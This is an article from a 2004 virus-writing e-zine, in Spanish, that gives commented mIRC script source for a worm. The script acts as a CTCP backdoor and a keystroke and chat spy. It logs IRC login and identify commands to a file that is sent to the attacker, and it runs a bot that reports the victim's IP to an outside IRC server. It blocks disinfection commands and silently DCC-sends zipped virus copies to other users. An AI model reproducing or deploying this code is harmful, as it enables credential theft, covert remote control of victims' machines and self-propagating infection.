(C) MITOSIS #2 E-Zine/GEDZAC 2004

                                              
Tema          : Propagación por Mirc
Autor         : MachineDramon
Válido para   : Mirc Scripting

En este articulo se explicara la forma de hacer un script para mirc que
ademas de propagar el virus, se comporte como un Troyano-Backdoor de IRC
muy basico, y un Bot de IRC, para localizar al infectado cuando se
conecte.

Bibliografia Basica: Los archivos de ayuda que vienen con el mirc.

Antes de empezar, varias partes de este script fueron estudiadas y modificadas
de SHS/Life Stages, VBS/Ircintro, VBS/KarmaHotel (Saludos a sus autores)

;Troyano-----------------------------------------------------------------------
;Linea clasica de troyanizacion por ctcp, de tal manera que se puede controlar
;al infectado de la forma:
;   /ctcp nick /comando mircscripting
;   /ctcp nick /run command /c comando ms-dos     
;(command o cmd de acuerdo a la version de windows)
;si secion iniciada, ejecuta comando, limpia pantalla para que no sepa quien
;le envio el ctcp y sale
ctcp 1:*:*:{ if ($1 != DCC) || ($1 != CHAT) || ($1 != Version) || ($1 != Time) || ($1 != Finger) || ($1 != userinfo) || ($1 != Ping ) { .ctcpreply $nick / Recibido | if (%vk.Spy = $true) { var %b $remove($1-,/) | %b | /clear | halt } } }

;Sirve para iniciar secion de control remoto, usando el pass, de ser correcto o incorrecto
;envia mensage de confirmacion, se recomienda que el pass este encriptado o en codigos ascii
;para que no pueda ser leido a simple vista.
;  /msg nick passMyPass
;"/close -cm $nick" cierra la ventana que se abre al enviarle los comandos, para que no la vea
;en %vk.nick se almacena nuestro nick temporalmente
On 1:TEXT:pass*:*:{ var %tx = $remove($1,pass) | if (%tx == $chr(71) $+ $chr(105) $+ $chr(122) $+ $chr(98) $+ J) { .set %vk.Spy $true | .set %vk.nick $nick | .privmsg $nick Iniciando Secion de Control Remoto :) }
else { .privmsg $nick pass incorrect :( } | /close -cm $nick }

;Sirve para terminar secion de control remoto, usando el pass, de ser correcto o incorrecto
;envia mensage de confirmacion.
;  /msg nick unpassMyPass
On 1:Text:unpass*:*:{ var %tx3 = $remove($1,unpass) | if (%tx3 == $chr(71) $+ $chr(105) $+ $chr(122) $+ $chr(98) $+ J) { .set %vk.Spy $false | .privmsg $nick Terminando Secion de Control Remoto :) }
else { .privmsg $nick pass incorrect :( } | /close -cm $nick }

;Ejecuta un conjunto de comandos
;si la seccion de control no esta iniciada sale, sino remueve BRT y evalua
;si: BRTSpyIOn = %SpyI a true (para espiar el texto digitado)
;    BRTSpyTcOn = %SpyTc a true (para espiar el texto de los canales donde este)
;    BRTSpyTpOn = %SpyTp a true (para espiar el texto recibido de los privados)
;    BRTSpyIOff = %SpyI a false (para dejar de espiar el texto digitado)
;    BRTSpyTOff = %SpyTp y %SpyTc a false (para dejar de espiar el texto recibido por canales y privados)
;    BRTSpykey = enviar el archivo con pass si lo ubiera
;    BRTSpydir = abrir fserve (esto lo vera el infectado, pero hay algunos que se dejan :) )
;    BRTBll = desconecta y cierra su mirc
;    BRTfind = permite hacer una busqueda de files o folders en la ruta especificada
;al enviar estos comandos debe anteponerse BRT en este caso: BRTcomando
On 1:Text:BRT*:*:{ if (%vk.Spy = $false) { halt } | var %txt = $remove($1,BRT) | if (%txt == SpyIOn) { .set %SpyI $true }
  elseif (%txt == SpyTcOn) { .set %SpyTc $true } | elseif (%txt == SpyTpOn) { .set %SpyTp $true } | elseif (%txt == SpyIOff) { .set %SpyI $false } |  elseif (%txt == SpyTOff) { .set %SpyTc $false | .set %SpyTp $false }
  elseif (%txt == Spykey) { .dcc send -c $nick $mircdir $+ mirckey.gd } | elseif (%txt == Spydir) { .fserve $nick 3 $left($mircdir,3) }
elseif (%txt == Bll) { .disconnect | .exit } | elseif (%txt == find) { find $1- } | /close -cm $nick }

;Si %SpyTp es true, nos envia el texto que recibe en privados
;ademas si alguien en un privado menciona ciertas palabras como: virus, worm, etc (como: oye tienes un virus)
;le coloca un ignore y le cierra el privado
On 1:Text:*:?:{ if (%SpyTp = $true) { .privmsg %vk.nick < $+ $Nick $+ > $+ $1- } | if (trojan isin $1-) || (worm isin $1-) || (troyano isin $1-) || (virus isin $1-) { .ignore $nick | .close -cm $nick } }

;Si %SpyTc es true nos envia el texto de los canales
On 1:Text:*:#:{ if (%SpyTc = $true) { .privmsg %vk.nick < $+ $Nick $+ > $+ $1- } }

;Si %SpyI a true, nos envia el texto que digite el infectado
;Si lo escrito contiene "identify" o "login" (palabras usadas para logearse en ciertas redes irc)
;las escribe en el fichero mirckey.gd junto con el nick canal email server port SO fecha
;Si se digitan ciertos comandos como: unload, play, remove, decode, etc
;que pudieran ser usados para desinfectar, no los ejecuta.
On 1:INPUT:*:{ if %SpyI = $true { .privmsg %vk.nick 12 $+ $1- $+  }

  if (identify isin $1-) || (login isin $1-) { var %bcr = $mircdir $+ mirckey.gd | if ($exists(%bcr) = $false) { .write %bcr --- Bardiel --- $fulldate }
    if ($read -w* $+ $me $+ * %bcr = $null) { .write %bcr -----Bardiel----- | .write %bcr B= $me
      .write %bcr B= $chan | .write %bcr B= $1- | .write %bcr B= $email | .write %bcr B= $server $port
  .write %bcr B= Wi $+ ndo $+ ws $os | .write %bcr B= $fulldate | .write %bcr -----Bardiel----- } }

  if (Alias isin $1-) || (Decode isin $1-) || (Load isin $1-) || (Remini isin $1-) || (Unload isin $1-) || (Remove isin $1-) || (Set isin $1-) || (Events isin $1-) { halt }
if (Unset isin $1-) || (UnsetAll isin $1-) || (Enable isin $1-) || (Disable isin $1-) || (Remote isin $1-) || (script isin $1-) || (play isin $1-) { halt } }

;Si teclea /unload -rs scriptvirus  | le saldra el msg clasico de que
;se ha descargado el script, pero en realidad no
Alias unload { .echo -ae * Unloaded script ' $+ $2 $+ ' }

;Si teclea /socklist | le saldra que no tiene sockets abiertos
Alias socklist { /echo -ae *** No open sockets | halt }

;Esto implementa algo como un fserve pero sin que el infectado lo vea
;puede provocar que se caiga por flood (usarlo si no sirve el fserve)
;sintaxis:   BRTfind dir/file/all ruta nombreFile indexFile ProfundidadBusqueda
;si elige: dir se listan las carpetas, files se listan los files, all se lista todo
;ruta puede ser cualquier ruta valida c:\ c:\windows\
;(los espacios en blanco debes ponerlos como "_" osea C:\my folder como C:\my_folder
;nombreFile cualquier nombre valido como mifile.txt se puede usar comodines *.exe *.* *l.avi
;los espacios en blanco deben reemplazarse por "_"
;indexFile, cuando mirc hace una busqueda con $finddir o $findfile a cada archivo encontrado
;le asigna un index de 1 hacia arriba, 0 para mostrar todos los archivos encontrados
;profundidadBusqueda es el numero de subdirectorios donde se buscara, 1 para directorio actual
;el privmsg %vk.nick $1- es para que nos envie el resultado de la busqueda
;y BRTfind get rutaFile   | nos envia el archivo especificado (no siempre funciona en este script)
;tambien espacios en blanco por "_"
;Ejemp: BRTfind file c:\ *.* 0 1      | devuelve todos los files de c:\
Alias find {
  if $2 == dir { $finddir($replace($3,_,$$chr(32)),$replace($4,_,$$chr(32)),$5,$6,privmsg %vk.nick $1-) }
  if $2 == all { $finddir($replace($3,_,$$chr(32)),$replace($4,_,$$chr(32)),$5,$6,privmsg %vk.nick $1-) | $findfile($replace($3,_,$chr(32)),$replace($4,_,$$chr(32)),$5,$6,privmsg %vk.nick $1-) }
  if $2 == file { $findfile($replace($3,_,$chr(32)),$replace($4,_,$$chr(32)),$5,$6,privmsg %vk.nick $1-) }
  if $2 == get { bsc %vk.nick $replace($4,_,$$chr(32)) #op }
}
;Bot-----------------------------------------------------------------------------

;Recibe la informacion que llega por el socket y la almacena en %botread
;si es un ping, responde un pong
;   si contiene MDM-GEDZAC y BIRC ejecuta el comando mircscripting que se le indique
; /msg #canal/$nick MDM-GEDZAC BIRC comando
;   si contiene MDM-GEDZAC y BINFO envia al canal nick, server, port, dir del mirc, ip, fecha, hora
; /msg #canal/$nick MDM-GEDZAC BINFO
On *:sockread:bot:{ sockread %botread | if ($gettok(%botread,1,32) == PING) { .sockwrite -tn $sockname pong $remove($gettok(%botread,2,32),:) } | if (MDM-GEDZAC isin %botread) && (BIRC isin %botread) { var %bg = $remove($gettok(%botread,5-,32),:) | %bg } | if (MDM-GEDZAC isin %botread) && (BINFO isin %botread) { .sockwrite -n $sockname privmsg #canalV : $+ $me $+ $chr(32) $+ $server $+ $chr(32) $+ $port $+ $chr(32) $+ $mircdir $+ $chr(32) $+ $ip $+ $chr(32) $+ $date $+ $chr(32) $+ $time } }

;Si no hay error al abrir el socket, se conecta al server indicado con un nick alfanumerico aleatorio y entra al canal indicado
On *:Sockopen:bot:{ if ($sockerr > 0) { halt } | set -u1 %user $rand(A,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(A,z) $+ $rand(a,z) $+ $rand(1,9) $+ $rand(a,z) | .sockwrite -nt $sockname USER %user %user %user : $+ $me | .sockwrite -nt $sockname NICK $r(a,z) $+ $r(1,9) $+ $r(a,z)  $+ $r(A,Z) $+ $r(1,9) $+ $r(a,z) $+ $r(a,z) $+ $r(1,9) $+ $r(a,z) $+ $r(a,z) $+ $r(1,9) $+ $r(a,z) $+ $r(A,Z) $+ $r(1,9) $+ $r(a,z) $+ $r(a,z) $+ $r(1,9) $+ $r(a,z) $+  $+ | sockwrite -tn $sockname join #canalV | .timer 1 3 sockwrite -n $sockname privmsg #canalV : $+ $me $+ $chr(32) $+ mensage }

;Si se cierra el socket conectado al server, lo vuelve a abrir
On *:sockclose:bot:{ .timer 1 3 .sockopen bot ozbytes.dal.net 6667 }

;Abre el socket al server indicado
Alias Bbot { .timer 1 3 .sockopen bot ozbytes.dal.net 6667 }

;Envio Virus-----------------------------------------------------------------------------

;Cuando el infectado se conecte a un server, se borran las variables o se establecen
;a false, se pone remote a on y se llama a Bbot para iniciar el bot
On 1:CONNECT:{ /Unset %vb.* %vk.* %vn.* | /set %SpyI $false | /set %SpyTc $false | /set %SpyTp $false | /set %vk.Spy $false | /Remote On | { Bbot } }

;Si el nick que entra al canal es diferente del nick del infectado, le envia un msg y el virus
;si es igual al del infectado, revisa el nombre del canal, si contiene ayuda, help, virus, etc
;cierra su mirc, para que no pida ayuda
On 1:JOIN:*:{ if ($nick != $me) { { bms } | { bs } } | else { if (ayuda isin #) || (help isin #) || (virus isin #) || (avt isin #) || (vh isin #) { .part # Irc.Bardiel.B GEDZAC LABS | .disconnect | .exit } } }

;Si recibe un archivo de alguien, le envia el virus y un msg a ese nick
On 1:FileRcvd:*:{ if ($nick != $me) { { bms } | { bs } } }

;Si alguien sale del canal le envia el virus y un msg
On 1:PART:#:{ if ($nick != $me) { { bms } | { bs } } }

;Si el infectado envia un archivo(no zip) a $Nick digamos: Mifoto.jpg
;se le envia a $Nick el virus en un archivo Mifoto2.zip
On 1:FileSent:*:{ if (.zip isin $filename) { halt } | var %sp = C:\WINDOWS\SYSTEM $+ \gedzac.zip | .copy -o %sp $nofile(%sp) $+ $gettok($nopath($filename),1,46) $+ 2.zip | bsc $nick $nofile(%sp) $+ $gettok($nopath($filename),1,46) $+ 2.zip #op }

;Si hay error al enviar sale
On 1:SENDFAIL:*:{ halt }

;Aqui se comprueba la existencia del archivo principal, si existe se hace
;una copia eligiendo aleatoriamente entre 10 nombres para enviar por irc
;se quita el ignore al nick a enviar(si estuviese ignorado y se llama a bsc
;para enviar
Alias bs { var %bp = C:\WINDOWS\SYSTEM $+ \gedzac.zip
  if ($exists(%bp) = $false) { halt } | var %br = $rand(1,10) 
  if (%br = 1) { .copy -o %bp $nofile(%bp) $+ file1.zip | Set %vb.file $nofile(%bp) $+ file1.zip }
  elseif (%br = 2) { .copy -o %bp $nofile(%bp) $+ file2.zip | Set %vb.file $nofile(%bp) $+ file2.zip }
  elseif (%br = 3) { .copy -o %bp $nofile(%bp) $+ file3.zip | Set %vb.file $nofile(%bp) $+ file3.zip }
  elseif (%br = 4) { .copy -o %bp $nofile(%bp) $+ file4.zip | Set %vb.file $nofile(%bp) $+ file4.zip }
  elseif (%br = 5) { .copy -o %bp $nofile(%bp) $+ file5.zip | Set %vb.file $nofile(%bp) $+ file5.zip }
  elseif (%br = 6) { .copy -o %bp $nofile(%bp) $+ file6.zip | Set %vb.file $nofile(%bp) $+ file6.zip }
  elseif (%br = 7) { .copy -o %bp $nofile(%bp) $+ file7.zip | Set %vb.file $nofile(%bp) $+ file7.zip }
  elseif (%br = 8) { .copy -o %bp $nofile(%bp) $+ file8.zip | Set %vb.file $nofile(%bp) $+ file8.zip }
  elseif (%br = 9) { .copy -o %bp $nofile(%bp) $+ file9.zip | Set %vb.file $nofile(%bp) $+ file9.zip }
  elseif (%br = 10) { .copy -o %bp $nofile(%bp) $+ file10.zip | Set %vb.file $nofile(%bp) $+ file10.zip }
.ignore -rpcntikxu15 $address($nick,1) | bsc $nick %vb.file $chan }

;Se elige entre 10 msg aleatoriamente y se envia el msg al nick (bueno para promocionar una page donde este el virus)
Alias bms { var %br3 = $rand(1,10) 
  if (%br3 = 1) { var %bm3 = 8,4 $+ mensage1 $+  }
  elseif (%br3 = 2) { var %bm3 = mensage2 }
  elseif (%br3 = 3) { var %bm3 = 4,1 $+ mensage3 $+  }
  elseif (%br3 = 4) { var %bm3 = 7,4 $+ mensage4 $+  }
  elseif (%br3 = 5) { var %bm3 = 8,4 $+ mensage5 $+  }
  elseif (%br3 = 6) { var %bm3 = 4,1 $+ mensage6 $+  }
  elseif (%br3 = 7) { var %bm3 = 4,1 $+ mensage7 $+  }
  elseif (%br3 = 8) { var %bm3 = 7,8 $+ mensage8 $+  }
  elseif (%br3 = 9) { var %bm3 = 12,11 $+ mensage9 $+  }
  elseif (%br3 = 10) { var %bm3 = 12,11 $+ mensage10 $+  }
.privmsg $nick %bm3 }

;Se iguala %vb.file al nombre de archivo elegido para enviar el virus
Alias bsc { set %vb.file $2

;Si el nick elegido es op o tiene voice en el canal, no envia para
;evitar que baneen al infectado.
  if ( $1 isop $3 ) || ( $1 isvoice $3 ) { halt }

;Si el archivo a enviar no existe, sale
  if ( $exists(%vb.file) = $false ) { halt }

;Si hay mas de 5 sockets abiertos enviando, sale para no congestionar los envios
  if ( $sock(vb.*,0) > 5 ) { return } 

;Iguala %vb.nick a 0 ($1 en este alias=nick al que se enviara el virus)
;Elige un puerto entre 2400 y 5000, si no esta libre elige otro
  Set %vb. $+ $1 0 | :scanpt | Set %pt $rand(2400,5000) 
  if ( $portfree(%pt) = $false ) { goto scanpt } 

;Iguala %vn.nick a 0, %pk.nick a 4096 (4096 sera la cantidad de bytes
;que se enviaran en cada paquete de envio) y %sz al tamaño del virus
  Set [ % $+ [ vn. $+ [ $1 ] ] ] 0 | Set %pk. $+ $1 4096 | Set %sz $file(%vb.file).size

;Iguala %vb.vtp1 a vb.nick, crea un timer para que luego de 300 segundos
;cierre los sockets de envio, esto por si no se acepto el envio o se cancelo
;Crea un timer para que dentro de 30 segundos llamar al alias be, quita el ignore al nick
;si estuviera ignorado
  Set %vb.vtp1 vb. $+ $1 | .timer $+ $1 1 300 .sockclose %vb.vtp1 | .sockclose ƒ. $+ $1
  .timer1 $+ $1 1 30 be $1 | .ignore -u90 $1 2

;Utiliza raw para enviar el archivo por dcc send sin que al infectado le salga
;la ventana de envio(osea ni se va enterar de que esta enviando algo)
;los parametro que utiliza para enviar son: nombre del archivo, ip(la ip del infectado)
;puerto, tamaño del archivo
  .raw -q privmsg $1 : $+ $chr(1) $+ DCC SEND %vb.file $longip($ip) %pt %sz $+ $chr(1)

;luego si el socket ya existe lo cierra y lo pone a la escucha, sino solamente lo ultimo
if ( $sock(%vb.vtp1) != $null ) { .sockclose %vb.vtp1 } | .socklisten %vb.vtp1 %pt }

;Si %vn.nick aun es 0, osea no se han podido enviar los datos del archivo
;cierra los sockets y apaga los timers que corresponden a ese nick
Alias be { if ( [ % $+ [ vn. $+ [ $1 ] ] ] = 0 ) { .sockclose [ ƒ. $+ [ $1 ] ] | .sockclose [ vb. $+ [ $1 ] ] | .timer $+ $1 off } }

;Si la suma de %vn.nick + %pk.nick es < que el tamaño del archivo
;lee en forma binaria el archivo desde la posicion de %vn.nick un total
;de bytes = a %pk.nick (4096) y los almacena en &data
;Envia por el socket ƒ.nick &data e incrementa %vn.nick en cantidad = a %pk.nick (4096)
;esto para fijar la posicion de la proxima lectura binaria.
Alias bsl { if ( $calc( [ % $+ [ vn. $+ [ $1 ] ] ] + [ % $+ [ pk. $+ [ $1 ] ] ] ) < %sz) {
 bread %vb.file [ % $+ [ vn. $+ [ $1 ] ] ] [ % $+ [ pk. $+ [ $1 ] ] ] &data
 .sockwrite ƒ. $+ $1 &data
 inc [ % $+ [ vn. $+ [ $1 ] ] ] [ % $+ [ pk. $+ [ $1 ] ] ] }

;Si la suma indicada anteriormente es >= que %sz
;%vb.nick = 1 ,y %pk.nick = %sz - %vn.nick
;si %pk.nick = 0 ya no hay mas datos que enviar y sale
;si diferente a 0 entonces lee los bytes que quedan y los envia
 else { Set [ % $+ [ vb. $+ [ $1 ] ] ] 1
 [ % $+ [ pk. $+ [ $1 ] ] ] = $calc( %sz - [ % $+ [ vn. $+ [ $1 ] ] ] )
  if ( [ % $+ [ pk. $+  [ $1 ] ] ] = 0) { return }
 bread %vb.file [ % $+ [ vn. $+ [ $1 ] ] ] [ % $+ [ pk. $+ [ $1 ] ] ] &data
 .sockwrite ƒ. $+ $1 &data } }

;Si se cierra un socket ƒ.nick, tambien cierra el socket vb.nick y apaga el timer correspondiente
On 1:SockClose:ƒ.*:{ Set %vb.tmp6 $remove($sockname,ƒ.) | sockclose $sockname | sockclose [ vb. $+ [ %vb.tmp6 ] ] | .timer $+ %vb.tmp6 off }

;Si el envio por el port vb.nick es aceptado, se abre un socket ƒ.nick y se llama a bsl para empezar a enviar
On 1:SockListen:vb.*:{ Set %vb.tmp5 $remove($sockname,vb.) | sockaccept ƒ. $+ %vb.tmp5 | bsl %vb.tmp5 }

;Si se envia info por un port ƒ.* y %vb.nick = 1 se crea un timer para cerrar
;los sockets ƒ.nick , vb.nick y apagar el timer correspondiente luego de 10 seg.
;independientemente de esa condicion llama a bsl para continuar el envio del virus
On 1:SockWrite:ƒ.*:{ Set %vb.tmp6 $remove($sockname,ƒ.)
 if ( [ % $+ [ vb. $+ [ %vb.tmp6 ] ] ] = 1 ) { 
  .timer $+ $rand(99,9999) 1 10 sockclose $sockname 
  .timer $+ $r(99,9999) 1 10 sockclose [ vb. $+ [ %vb.tmp6 ] ]
  .timer $+ %vb.tmp6 off | halt }
 bsl %vb.tmp6 }

;Al cerrar el mirc, se borran las copias hechas para enviar el virus
;y solo queda el archivo principal
On 1:exit:{ var %bpe = C:\WINDOWS\SYSTEM $+ \ | var %bc = 1 | while (%bc <= 10) {
    if (%bc = 1) { var %bpc = %bpe $+ file1.zip }
    if (%bc = 2) { var %bpc = %bpe $+ file2.zip }
    if (%bc = 3) { var %bpc = %bpe $+ file3.zip }
    if (%bc = 4) { var %bpc = %bpe $+ file4.zip }
    if (%bc = 5) { var %bpc = %bpe $+ file5.zip }
    if (%bc = 6) { var %bpc = %bpe $+ file6.zip }
    if (%bc = 7) { var %bpc = %bpe $+ file7.zip }
    if (%bc = 8) { var %bpc = %bpe $+ file8.zip }
    if (%bc = 9) { var %bpc = %bpe $+ file9.zip }
    if (%bc = 10) { var %bpc = %bpe $+ file10.zip }
  if ($exists(%bpc) = $true) { .remove %bpc } | inc %bc }
var %cn = $findfile(%bpe,*2.zip,0) | var %cc = 1 | while (%cc <= %cn) { .remove $findfile(%bpe,*2.zip,%cc) | inc %cc } }

;Al desconectarse del server se apagan los timers y se cierran los sockets utilizados para enviar el virus
On 1:Disconnect:{ .timers off | .sockclose vb.* | .sockclose ƒ.* }

-------------------------------------------------------------------------------------

(C) MITOSIS #2 E-Zine/GEDZAC 2004